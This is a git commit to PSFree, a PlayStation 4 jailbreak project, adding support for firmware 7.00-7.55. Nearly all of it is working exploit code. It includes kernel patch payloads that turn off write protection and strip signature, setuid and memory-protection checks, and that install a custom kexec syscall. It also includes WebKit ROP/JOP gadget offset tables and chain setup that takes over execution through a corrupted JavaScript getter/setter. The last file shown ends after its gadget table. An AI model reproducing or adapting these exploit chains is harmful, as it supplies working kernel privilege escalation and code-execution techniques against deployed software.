Add 7.xx support

This commit is contained in:
Al Azif
2025-06-07 03:06:24 -07:00
parent c23ef56385
commit 0bfa8c301e
12 changed files with 1041 additions and 17 deletions

View File

@@ -15,7 +15,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
@janisslsm
- Added loading payload from file
- Added read8/read16/write8/write16 functions
- Added 8.50-9.60 support
- Added 7.00-9.60 support
- Initial 9.00-9.60 ROP chain, by @janisslsm
- Added GitHub actions to build PRs, push to `main`, and tags for releases.

View File

@@ -22,7 +22,7 @@ This table indicates firmware versions for which the _current version_ of this r
| | PSFree | Lapse |
| :------------ | :-------- | :-------- |
| PlayStation 4 | 8.00-9.60 | 8.00-9.60 |
| PlayStation 4 | 7.00-9.60 | 7.00-9.60 |
| PlayStation 5 | N/A | N/A |
_Note: Support for other firmwares listed in the "Vulnerability Scope" table may, or may not, be actively being worked on or may have been supported in previous versions of this repository. Please check `CHANGELOG.md` for historical support._

186
src/kpatch/700.c Normal file
View File

@@ -0,0 +1,186 @@
/* Copyright (C) 2024-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 7.00, 7.01, 7.02
#include "types.h"
#include "utils.h"
struct kexec_args {
u64 entry;
u64 arg1;
u64 arg2;
u64 arg3;
u64 arg4;
u64 arg5;
};
static inline void restore(struct kexec_args *uap);
static inline void do_patch(void);
__attribute__((section (".text.start")))
int kpatch(void *td, struct kexec_args *uap) {
do_patch();
restore(uap);
return 0;
}
__attribute__((always_inline))
static inline void restore(struct kexec_args *uap) {
u8 *pipe = uap->arg1;
u8 *pipebuf = uap->arg2;
for (int i = 0; i < 0x18; i++) {
pipe[i] = pipebuf[i];
}
u64 *pktinfo_field = uap->arg3;
*pktinfo_field = 0;
u64 *pktinfo_field2 = uap->arg4;
*pktinfo_field2 = 0;
}
__attribute__((always_inline))
static inline void do_patch(void) {
// get kernel base
const u64 xfast_syscall_off = 0x1c0;
void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off;
disable_cr0_wp();
// ChendoChap's patches from pOOBs4
write16(kbase, 0x63acce, 0x9090); // veriPatch
write8(kbase, 0xacd, 0xeb); // bcopy
write8(kbase, 0x2ef8d, 0xeb); // bzero
write8(kbase, 0x2efd1, 0xeb); // pagezero
write8(kbase, 0x2f04d, 0xeb); // memcpy
write8(kbase, 0x2f091, 0xeb); // pagecopy
write8(kbase, 0x2f23d, 0xeb); // copyin
write8(kbase, 0x2f6ed, 0xeb); // copyinstr
write8(kbase, 0x2f7bd, 0xeb); // copystr
// patch amd64_syscall() to allow calling syscalls everywhere
// struct syscall_args sa; // initialized already
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
// int is_invalid_syscall = 0
//
// // check the calling code if it looks like one of the syscall stubs at a
// // libkernel library and check if the syscall number correponds to the
// // proper stub
// if ((code & 0xff0000000000ffff) != 0x890000000000c0c7
// || sa.code != (u32)(code >> 0x10)
// ) {
// // patch this to " = 0" instead
// is_invalid_syscall = -1;
// }
write32(kbase, 0x490, 0);
// these code corresponds to the check that ensures that the caller's
// instruction pointer is inside the libkernel library's memory range
//
// // patch the check to always go to the "goto do_syscall;" line
// void *code = td->td_frame->tf_rip;
// if (libkernel->start <= code && code < libkernel->end
// && is_invalid_syscall == 0
// ) {
// goto do_syscall;
// }
//
// do_syscall:
// ...
// lea rsi, [rbp - 0x78]
// mov rdi, rbx
// mov rax, qword [rbp - 0x80]
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
//
// sy_call() is the function that will execute the requested syscall.
write16(kbase, 0x4c6, 0xe990);
write16(kbase, 0x4bd, 0x9090);
write16(kbase, 0x4b9, 0x9090);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x87b77, 0xeb);
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
//
// this check is skipped after the patch
//
// if ((new_prot & current->max_protection) != new_prot) {
// vm_map_unlock(map);
// return (KERN_PROTECTION_FAILURE);
// }
write32(kbase, 0x264c0a, 0);
// TODO: Description of this patch. "prx"
write16(kbase, 0x94ec1, 0xe990);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// call ...
// mov r14, qword [rbp - 0xad0]
// cmp eax, 0x4000000
// jb ... ; patch jb to jmp
write16(kbase, 0x9547b, 0xe990);
// patch called function to always return 0
//
// sys_dynlib_dlsym:
// ...
// mov edi, 0x10 ; 16
// call patched_function ; kernel_base + 0x951c0
// test eax, eax
// je ...
// mov rax, qword [rbp - 0xad8]
// ...
// patched_function: ; patch to "xor eax, eax; ret"
// push rbp
// mov rbp, rsp
// ...
write32(kbase, 0x2f2c20, 0xc3c03148);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x1d2336, 0x37);
write8(kbase, 0x1d2339, 0x37);
// overwrite the entry of syscall 11 (unimplemented) in sysent
//
// struct args {
// u64 rdi;
// u64 rsi;
// u64 rdx;
// u64 rcx;
// u64 r8;
// u64 r9;
// };
//
// int sys_kexec(struct thread td, struct args *uap) {
// asm("jmp qword ptr [rsi]");
// }
const u64 sysent_11_off = 0x1125870;
// .sy_narg = 2
write32(kbase, sysent_11_off, 2);
// .sy_call = gadgets['jmp qword ptr [rsi]']
write64(kbase, sysent_11_off + 8, kbase + 0x6b192);
// .sy_thrcnt = SY_THR_STATIC
write32(kbase, sysent_11_off + 0x2c, 1);
enable_cr0_wp();
}

186
src/kpatch/750.c Normal file
View File

@@ -0,0 +1,186 @@
/* Copyright (C) 2024-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 7.50, 7.51, 7.55
#include "types.h"
#include "utils.h"
struct kexec_args {
u64 entry;
u64 arg1;
u64 arg2;
u64 arg3;
u64 arg4;
u64 arg5;
};
static inline void restore(struct kexec_args *uap);
static inline void do_patch(void);
__attribute__((section (".text.start")))
int kpatch(void *td, struct kexec_args *uap) {
do_patch();
restore(uap);
return 0;
}
__attribute__((always_inline))
static inline void restore(struct kexec_args *uap) {
u8 *pipe = uap->arg1;
u8 *pipebuf = uap->arg2;
for (int i = 0; i < 0x18; i++) {
pipe[i] = pipebuf[i];
}
u64 *pktinfo_field = uap->arg3;
*pktinfo_field = 0;
u64 *pktinfo_field2 = uap->arg4;
*pktinfo_field2 = 0;
}
__attribute__((always_inline))
static inline void do_patch(void) {
// get kernel base
const u64 xfast_syscall_off = 0x1c0;
void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off;
disable_cr0_wp();
// ChendoChap's patches from pOOBs4
write16(kbase, 0x637394, 0x9090); // veriPatch
write8(kbase, 0xadd, 0xeb); // bcopy
write8(kbase, 0x28f74d, 0xeb); // bzero
write8(kbase, 0x28f791, 0xeb); // pagezero
write8(kbase, 0x28f80d, 0xeb); // memcpy
write8(kbase, 0x28f851, 0xeb); // pagecopy
write8(kbase, 0x28f9fd, 0xeb); // copyin
write8(kbase, 0x28fead, 0xeb); // copyinstr
write8(kbase, 0x28ff7d, 0xeb); // copystr
// patch amd64_syscall() to allow calling syscalls everywhere
// struct syscall_args sa; // initialized already
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
// int is_invalid_syscall = 0
//
// // check the calling code if it looks like one of the syscall stubs at a
// // libkernel library and check if the syscall number correponds to the
// // proper stub
// if ((code & 0xff0000000000ffff) != 0x890000000000c0c7
// || sa.code != (u32)(code >> 0x10)
// ) {
// // patch this to " = 0" instead
// is_invalid_syscall = -1;
// }
write32(kbase, 0x490, 0);
// these code corresponds to the check that ensures that the caller's
// instruction pointer is inside the libkernel library's memory range
//
// // patch the check to always go to the "goto do_syscall;" line
// void *code = td->td_frame->tf_rip;
// if (libkernel->start <= code && code < libkernel->end
// && is_invalid_syscall == 0
// ) {
// goto do_syscall;
// }
//
// do_syscall:
// ...
// lea rsi, [rbp - 0x78]
// mov rdi, rbx
// mov rax, qword [rbp - 0x80]
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
//
// sy_call() is the function that will execute the requested syscall.
write16(kbase, 0x4c6, 0xe990);
write16(kbase, 0x4bd, 0x9090);
write16(kbase, 0x4b9, 0x9090);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x37a327, 0xeb);
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
//
// this check is skipped after the patch
//
// if ((new_prot & current->max_protection) != new_prot) {
// vm_map_unlock(map);
// return (KERN_PROTECTION_FAILURE);
// }
write32(kbase, 0x3014ca, 0);
// TODO: Description of this patch. "prx"
write16(kbase, 0x451e04, 0xe990);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// call ...
// mov r14, qword [rbp - 0xad0]
// cmp eax, 0x4000000
// jb ... ; patch jb to jmp
write16(kbase, 0x4523c4, 0xe990);
// patch called function to always return 0
//
// sys_dynlib_dlsym:
// ...
// mov edi, 0x10 ; 16
// call patched_function ; kernel_base + 0x951c0
// test eax, eax
// je ...
// mov rax, qword [rbp - 0xad8]
// ...
// patched_function: ; patch to "xor eax, eax; ret"
// push rbp
// mov rbp, rsp
// ...
write32(kbase, 0x29a30, 0xc3c03148);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0xdb17d, 0x37);
write8(kbase, 0xdb180, 0x37);
// overwrite the entry of syscall 11 (unimplemented) in sysent
//
// struct args {
// u64 rdi;
// u64 rsi;
// u64 rdx;
// u64 rcx;
// u64 r8;
// u64 r9;
// };
//
// int sys_kexec(struct thread td, struct args *uap) {
// asm("jmp qword ptr [rsi]");
// }
const u64 sysent_11_off = 0x1122550;
// .sy_narg = 2
write32(kbase, sysent_11_off, 2);
// .sy_call = gadgets['jmp qword ptr [rsi]']
write64(kbase, sysent_11_off + 8, kbase + 0x1f842);
// .sy_thrcnt = SY_THR_STATIC
write32(kbase, sysent_11_off + 0x2c, 1);
enable_cr0_wp();
}

View File

@@ -1,4 +1,4 @@
TARGET_VERSIONS = 800 850 900 903 950
TARGET_VERSIONS = 700 750 800 850 900 903 950
CC = gcc
OBJCOPY = objcopy

View File

@@ -38,6 +38,9 @@ import * as rop from "./module/chain.mjs";
import * as config from "./config.mjs";
// static imports for firmware configurations
import * as fw_ps4_700 from "./lapse/ps4/700.mjs";
import * as fw_ps4_750 from "./lapse/ps4/750.mjs";
import * as fw_ps4_751 from "./lapse/ps4/751.mjs";
import * as fw_ps4_800 from "./lapse/ps4/800.mjs";
import * as fw_ps4_850 from "./lapse/ps4/850.mjs";
import * as fw_ps4_852 from "./lapse/ps4/852.mjs";
@@ -72,7 +75,16 @@ const [is_ps4, version] = (() => {
// set per-console/per-firmware offsets
const fw_config = (() => {
if (is_ps4) {
if (0x800 <= version && version < 0x850) {
if (0x700 <= version && version < 0x750) {
// 7.00, 7.01, 7.02
return fw_ps4_700;
} else if (0x750 <= version && version < 0x751) {
// 7.50
return fw_ps4_750;
} else if (0x751 <= version && version < 0x800) {
// 7.51, 7.55
return fw_ps4_751;
} else if (0x800 <= version && version < 0x850) {
// 8.00, 8.01, 8.03
return fw_ps4_800;
} else if (0x850 <= version && version < 0x852) {
@@ -1499,8 +1511,8 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
if (!is_ps4) {
throw RangeError("ps5 kernel patching unsupported");
}
if (!(0x800 <= version && version < 0x1000)) {
// 8.00, 8.01, 8.03, 8.50, 8.52, 9.00, 9.03, 9.04, 9.50, 9.51, 9.60
if (!(0x700 <= version && version < 0x1000)) {
// Only 7.00-9.60 supported
throw RangeError("kernel patching unsupported");
}

37
src/lapse/ps4/700.mjs Normal file
View File

@@ -0,0 +1,37 @@
/* Copyright (C) 2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 7.00, 7.01, 7.02
export const pthread_offsets = new Map(
Object.entries({
pthread_create: 0x256b0,
pthread_join: 0x27d00,
pthread_barrier_init: 0xa170,
pthread_barrier_wait: 0x1ee80,
pthread_barrier_destroy: 0xe2e0,
pthread_exit: 0x19fd0,
}),
);
export const off_kstr = 0x7f92cb;
export const off_cpuid_to_pcpu = 0x212cd10;
export const off_sysent_661 = 0x112d250;
export const jmp_rsi = 0x6b192;
export const patch_elf_loc = "./kpatch/700.bin"; // Relative to `../../lapse.mjs`

37
src/lapse/ps4/750.mjs Normal file
View File

@@ -0,0 +1,37 @@
/* Copyright (C) 2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 7.50
export const pthread_offsets = new Map(
Object.entries({
pthread_create: 0x25800,
pthread_join: 0x27e60,
pthread_barrier_init: 0xa090,
pthread_barrier_wait: 0x1ef50,
pthread_barrier_destroy: 0xe290,
pthread_exit: 0x1a030,
}),
);
export const off_kstr = 0x79a92e;
export const off_cpuid_to_pcpu = 0x2261070;
export const off_sysent_661 = 0x1129f30;
export const jmp_rsi = 0x1f842;
export const patch_elf_loc = "./kpatch/750.bin"; // Relative to `../../lapse.mjs`

40
src/lapse/ps4/751.mjs Normal file
View File

@@ -0,0 +1,40 @@
/* Copyright (C) 2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 7.51, 7.55
export const pthread_offsets = new Map(
Object.entries({
pthread_create: 0x25800,
pthread_join: 0x27e60,
pthread_barrier_init: 0xa090,
pthread_barrier_wait: 0x1ef50,
pthread_barrier_destroy: 0xe290,
pthread_exit: 0x1a030,
}),
);
export const off_kstr = 0x79a96e;
export const off_cpuid_to_pcpu = 0x2261070;
export const off_sysent_661 = 0x1129f30;
export const jmp_rsi = 0x1f842;
export const patch_elf_loc = "./kpatch/750.bin"; // Relative to `../../lapse.mjs`
// Not a mistake! Only ONE kernel offset differs between 7.50, 7.51, and 7.55.
// It's the `off_kstr` variable in THIS file, the kernel patches are the same.
// That's why 7.51/7.55 are seperate from 7.50, but using the same kpatch file.

View File

@@ -543,25 +543,25 @@ function load_fw_specific(version) {
// ECMAScript 2015. 6.xx WebKit poisons the pointer fields of some types
// which can be annoying to deal with
if (value < 0x700) {
throw RangeError("PS4 firmwares < 7.00 isn't supported");
throw RangeError("PS4 firmwares <7.00 aren't supported");
}
if (0x800 <= value && value < 0x850) {
if (0x700 <= value && value < 0x750) {
// 7.00, 7.01, 7.02
return import("../rop/ps4/700.mjs");
} else if (0x750 <= value && value < 0x800) {
// 7.50, 7.51, 7.55
return import("../rop/ps4/750.mjs");
} else if (0x800 <= value && value < 0x850) {
// 8.00, 8.01, 8.03
return import("../rop/ps4/800.mjs");
}
if (0x850 <= value && value < 0x900) {
} else if (0x850 <= value && value < 0x900) {
// 8.50, 8.52
return import("../rop/ps4/850.mjs");
}
if (0x900 <= value && value < 0x950) {
} else if (0x900 <= value && value < 0x950) {
// 9.00, 9.03, 9.04
return import("../rop/ps4/900.mjs");
}
if (0x950 <= value && value < 0x1000) {
} else if (0x950 <= value && value < 0x1000) {
// 9.50, 9.51, 9.60
return import("../rop/ps4/950.mjs");
}

263
src/rop/ps4/700.mjs Normal file
View File

@@ -0,0 +1,263 @@
/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 7.00, 7.01, 7.02
import { mem } from "../../module/mem.mjs";
import { KB } from "../../module/offset.mjs";
import { ChainBase, get_gadget } from "../../module/chain.mjs";
import { BufferView } from "../../module/rw.mjs";
import { get_view_vector, resolve_import, init_syscall_array } from "../../module/memtools.mjs";
import * as off from "../../module/offset.mjs";
// WebKit offsets of imported functions
const offset_wk_stack_chk_fail = 0x2438;
const offset_wk_strlen = 0x2478;
// libSceNKWebKit.sprx
export let libwebkit_base = null;
// libkernel_web.sprx
export let libkernel_base = null;
// libSceLibcInternal.sprx
export let libc_base = null;
// gadgets for the JOP chain
//
// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its
// type is PutPropertySlot::PutValueFunc
const jop1 = `
mov rdi, qword ptr [rsi + 8]
mov rax, qword ptr [rdi]
jmp qword ptr [rax + 0x70]
`;
// rbp is now pushed, any extra objects pushed by the call instructions can be
// ignored
const jop2 = `
push rbp
mov rbp, rsp
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x30]
`;
const jop3 = `
mov rdx, qword ptr [rdx + 0x50]
mov ecx, 0xa
call qword ptr [rax + 0x40]
`;
const jop4 = `
push rdx
jmp qword ptr [rax]
`;
const jop5 = "pop rsp; ret";
// the ps4 firmware is compiled to use rbp as a frame pointer
//
// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
// restore rbp (if needed) before the epilogue.
//
// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
// pushed earlier before the pivot, thus restoring the old rbp).
//
// leave instruction equivalent:
// mov rsp, rbp
// pop rbp
const webkit_gadget_offsets = new Map(
Object.entries({
"pop rax; ret": 0x000000000001fa68, // `58 c3`
"pop rbx; ret": 0x0000000000028cfa, // `5b c3`
"pop rcx; ret": 0x0000000000026afb, // `59 c3`
"pop rdx; ret": 0x0000000000052b23, // `5a c3`
"pop rbp; ret": 0x00000000000000b6, // `5d c3`
"pop rsi; ret": 0x000000000003c987, // `5e c3`
"pop rdi; ret": 0x000000000000835d, // `5f c3`
"pop rsp; ret": 0x0000000000078c62, // `5c c3`
"pop r8; ret": 0x00000000005f5500, // `41 58 c3`
"pop r9; ret": 0x00000000005c6a81, // `47 59 c3`
"pop r10; ret": 0x0000000000061671, // `47 5a c3`
"pop r11; ret": 0x0000000000d4344f, // `4f 5b c3`
"pop r12; ret": 0x0000000000da462c, // `41 5c c3`
"pop r13; ret": 0x00000000019daaeb, // `41 5d c3`
"pop r14; ret": 0x000000000003c986, // `41 5e c3`
"pop r15; ret": 0x000000000024be8c, // `41 5f c3`
"ret": 0x000000000000003c, // `c3`
"leave; ret": 0x00000000000f2c93, // `c9 c3`
"mov rax, qword ptr [rax]; ret": 0x000000000002e852, // `48 8b 00 c3`
"mov qword ptr [rdi], rax; ret": 0x00000000000203e9, // `48 89 07 c3`
"mov dword ptr [rdi], eax; ret": 0x0000000000020148, // `89 07 c3`
"mov dword ptr [rax], esi; ret": 0x0000000000294dcc, // `89 30 c3`
[jop1]: 0x00000000019c2500, // `48 8b 7e 08 48 8b 07 ff 60 70`
[jop2]: 0x00000000007776e0, // `55 48 89 e5 48 8b 07 ff 50 30`
[jop3]: 0x0000000000f84031, // `48 8b 52 50 b9 0a 00 00 00 ff 50 40`
[jop4]: 0x0000000001e25cce, // `52 ff 20`
[jop5]: 0x0000000000078c62, // `5c c3`
}),
);
const libc_gadget_offsets = new Map(
Object.entries({
"getcontext": 0x277c4,
"setcontext": 0x2bc18,
}),
);
const libkernel_gadget_offsets = new Map(
Object.entries({
// returns the location of errno
"__error": 0x161f0,
}),
);
export const gadgets = new Map();
function get_bases() {
const textarea = document.createElement("textarea");
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
const textarea_vtable = webcore_textarea.readp(0);
const off_ta_vt = 0x23ba060;
const libwebkit_base = textarea_vtable.sub(off_ta_vt);
const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
const off_scf = 0x12ad0;
const libkernel_base = stack_chk_fail_addr.sub(off_scf);
const strlen_import = libwebkit_base.add(offset_wk_strlen);
const strlen_addr = resolve_import(strlen_import);
const off_strlen = 0x50a00;
const libc_base = strlen_addr.sub(off_strlen);
return [libwebkit_base, libkernel_base, libc_base];
}
export function init_gadget_map(gadget_map, offset_map, base_addr) {
for (const [insn, offset] of offset_map) {
gadget_map.set(insn, base_addr.add(offset));
}
}
class Chain700Base extends ChainBase {
push_end() {
this.push_gadget("leave; ret");
}
push_get_retval() {
this.push_gadget("pop rdi; ret");
this.push_value(this.retval_addr);
this.push_gadget("mov qword ptr [rdi], rax; ret");
}
push_get_errno() {
this.push_gadget("pop rdi; ret");
this.push_value(this.errno_addr);
this.push_call(this.get_gadget("__error"));
this.push_gadget("mov rax, qword ptr [rax]; ret");
this.push_gadget("mov dword ptr [rdi], eax; ret");
}
push_clear_errno() {
this.push_call(this.get_gadget("__error"));
this.push_gadget("pop rsi; ret");
this.push_value(0);
this.push_gadget("mov dword ptr [rax], esi; ret");
}
}
export class Chain700 extends Chain700Base {
constructor() {
super();
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
rdx.write64(off.js_cell, this._empty_cell);
rdx.write64(0x50, this.stack_addr);
this._rsp = mem.fakeobj(rdx);
}
run() {
this.check_allow_run();
this._rop.launch = this._rsp;
this.dirty();
}
}
export const Chain = Chain700;
export function init(Chain) {
const syscall_array = [];
[libwebkit_base, libkernel_base, libc_base] = get_bases();
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
let gs = Object.getOwnPropertyDescriptor(window, "location").set;
// JSCustomGetterSetter.m_getterSetter
gs = mem.addrof(gs).readp(0x28);
// sizeof JSC::CustomGetterSetter
const size_cgs = 0x18;
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
mem.cpy(gc_buf, gs, size_cgs);
// JSC::CustomGetterSetter.m_setter
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
const proto = Chain.prototype;
// _rop must have a descriptor initially in order for the structure to pass
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
// checks for any descriptor to run
//
// the butterfly's indexing type must be something the GC won't inspect
// like DoubleShape. it will be used to store the JOP table's pointer
const _rop = {
get launch() {
throw Error("never call");
},
0: 1.1,
};
// replace .launch with the actual custom getter/setter
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
proto._rop = _rop;
// JOP table
const rax_ptrs = new BufferView(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
proto._rax_ptrs = rax_ptrs;
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
jop_buffer_p.write64(0, rax_ptrs_p);
const empty = {};
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
Chain.init_class(gadgets, syscall_array);
}

263
src/rop/ps4/750.mjs Normal file
View File

@@ -0,0 +1,263 @@
/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 7.50, 7.51, 7.55
import { mem } from "../../module/mem.mjs";
import { KB } from "../../module/offset.mjs";
import { ChainBase, get_gadget } from "../../module/chain.mjs";
import { BufferView } from "../../module/rw.mjs";
import { get_view_vector, resolve_import, init_syscall_array } from "../../module/memtools.mjs";
import * as off from "../../module/offset.mjs";
// WebKit offsets of imported functions
const offset_wk_stack_chk_fail = 0x2438;
const offset_wk_strlen = 0x2478;
// libSceNKWebKit.sprx
export let libwebkit_base = null;
// libkernel_web.sprx
export let libkernel_base = null;
// libSceLibcInternal.sprx
export let libc_base = null;
// gadgets for the JOP chain
//
// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its
// type is PutPropertySlot::PutValueFunc
const jop1 = `
mov rdi, qword ptr [rsi + 8]
mov rax, qword ptr [rdi]
jmp qword ptr [rax + 0x70]
`;
// rbp is now pushed, any extra objects pushed by the call instructions can be
// ignored
const jop2 = `
push rbp
mov rbp, rsp
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x30]
`;
const jop3 = `
mov rdx, qword ptr [rdx + 0x50]
mov ecx, 0xa
call qword ptr [rax + 0x40]
`;
const jop4 = `
push rdx
jmp qword ptr [rax]
`;
const jop5 = "pop rsp; ret";
// the ps4 firmware is compiled to use rbp as a frame pointer
//
// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
// restore rbp (if needed) before the epilogue.
//
// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
// pushed earlier before the pivot, thus restoring the old rbp).
//
// leave instruction equivalent:
// mov rsp, rbp
// pop rbp
const webkit_gadget_offsets = new Map(
Object.entries({
"pop rax; ret": 0x000000000003650b, // `58 c3`
"pop rbx; ret": 0x0000000000015d5c, // `5b c3`
"pop rcx; ret": 0x000000000002691b, // `59 c3`
"pop rdx; ret": 0x0000000000061d52, // `5a c3`
"pop rbp; ret": 0x00000000000000b6, // `5d c3`
"pop rsi; ret": 0x000000000003c827, // `5e c3`
"pop rdi; ret": 0x000000000024d2b0, // `5f c3`
"pop rsp; ret": 0x000000000005f959, // `5c c3`
"pop r8; ret": 0x00000000005f99e0, // `41 58 c3`
"pop r9; ret": 0x000000000070439f, // `47 59 c3`
"pop r10; ret": 0x0000000000061d51, // `47 5a c3`
"pop r11; ret": 0x0000000000d492bf, // `4f 5b c3`
"pop r12; ret": 0x0000000000da945c, // `41 5c c3`
"pop r13; ret": 0x00000000019ccebb, // `41 5d c3`
"pop r14; ret": 0x000000000003c826, // `41 5e c3`
"pop r15; ret": 0x000000000024d2af, // `41 5f c3`
"ret": 0x0000000000000032, // `c3`
"leave; ret": 0x000000000025654b, // `c9 c3`
"mov rax, qword ptr [rax]; ret": 0x000000000002e592, // `48 8b 00 c3`
"mov qword ptr [rdi], rax; ret": 0x000000000005becb, // `48 89 07 c3`
"mov dword ptr [rdi], eax; ret": 0x00000000000201c4, // `89 07 c3`
"mov dword ptr [rax], esi; ret": 0x00000000002951bc, // `89 30 c3`
[jop1]: 0x00000000019b4c80, // `48 8b 7e 08 48 8b 07 ff 60 70`
[jop2]: 0x000000000077b420, // `55 48 89 e5 48 8b 07 ff 50 30`
[jop3]: 0x0000000000f87995, // `48 8b 52 50 b9 0a 00 00 00 ff 50 40`
[jop4]: 0x0000000001f1c866, // `52 ff 20`
[jop5]: 0x000000000005f959, // `5c c3`
}),
);
const libc_gadget_offsets = new Map(
Object.entries({
"getcontext": 0x25f34,
"setcontext": 0x2a388,
}),
);
const libkernel_gadget_offsets = new Map(
Object.entries({
// returns the location of errno
"__error": 0x16220,
}),
);
export const gadgets = new Map();
